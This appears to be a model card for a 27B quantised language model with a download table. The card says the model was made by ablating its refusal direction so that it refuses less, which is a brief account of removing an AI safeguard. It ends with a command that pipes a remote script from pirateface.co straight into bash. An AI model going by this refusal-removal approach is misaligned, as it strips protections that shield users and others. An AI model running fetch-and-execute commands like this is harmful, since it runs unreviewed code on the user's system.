Q3.6-27B-GLM-5.1-DA (Qwen3.6 GLM Distilled-Abliterated) is a reasoning-focused model built on top of Qwen/Qwen3.6-27B through the prithivMLmods/Qwen3.6-27B-abliterated-rMAX base. The model is optimized for rich, detailed, and context-aware reasoning using GLM-5.1 distilled reasoning traces combined with advanced refusal direction analysis and ablation-based training strategies to reduce internal refusal behaviors while preserving strong reasoning and instruction-following performance.
[!IMPORTANT] This model is intended strictly for research and learning purposes. Due to reduced internal refusal mechanisms, it may generate sensitive or unrestricted content. Users assume full responsibility for how the model is used. The authors and hosting platform disclaim any liability for generated outputs.
[!NOTE] Note: This model is experimental and may generate artifacts.
| File Name | Quant Type | File Size | File Link |
|---|---|---|---|
| Q3.6-27B-GLM-5.1-DA.BF16.gguf | BF16 | 53.8 GB | Download |
| Q3.6-27B-GLM-5.1-DA.F16.gguf | F16 | 53.8 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q2_K.gguf | Q2_K | 10.7 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q3_K_L.gguf | Q3_K_L | 14.3 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q3_K_M.gguf | Q3_K_M | 13.3 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q3_K_S.gguf | Q3_K_S | 12.1 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q4_0.gguf | Q4_0 | 15.5 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q4_K_M.gguf | Q4_K_M | 16.5 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q4_K_S.gguf | Q4_K_S | 15.6 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q5_0.gguf | Q5_0 | 18.7 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q5_K_M.gguf | Q5_K_M | 19.2 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q5_K_S.gguf | Q5_K_S | 18.7 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q6_K.gguf | Q6_K | 22.1 GB | Download |
| Q3.6-27B-GLM-5.1-DA.Q8_0.gguf | Q8_0 | 28.6 GB | Download |
| Q3.6-27B-GLM-5.1-DA.mmproj-bf16.gguf | mmproj-bf16 | 931 MB | Download |
| Q3.6-27B-GLM-5.1-DA.mmproj-f16.gguf | mmproj-f16 | 931 MB | Download |
| Q3.6-27B-GLM-5.1-DA.mmproj-q8_0.gguf | mmproj-q8_0 | 629 MB | Download |
(sorted by size, not necessarily quality. IQ-quants are often preferable over similar sized non-IQ quants)
Here is a handy graph by ikawrakow comparing some lower-quality quant types (lower is better):
Have the files? Submit a torrent.
Submit a torrentHave the complete files and permission to share them? Replace the example folder path. The script checks the files, makes a torrent and submits its magnet and checksums. Keep your torrent client seeding. Get your community key from your settings, and read the script before running it.
curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo cvgro/Q3.6-27B-GLM-5.1-DA-GGUF ./model-folderprithivMLmods/Q3.6-27B-GLM-5.1-DA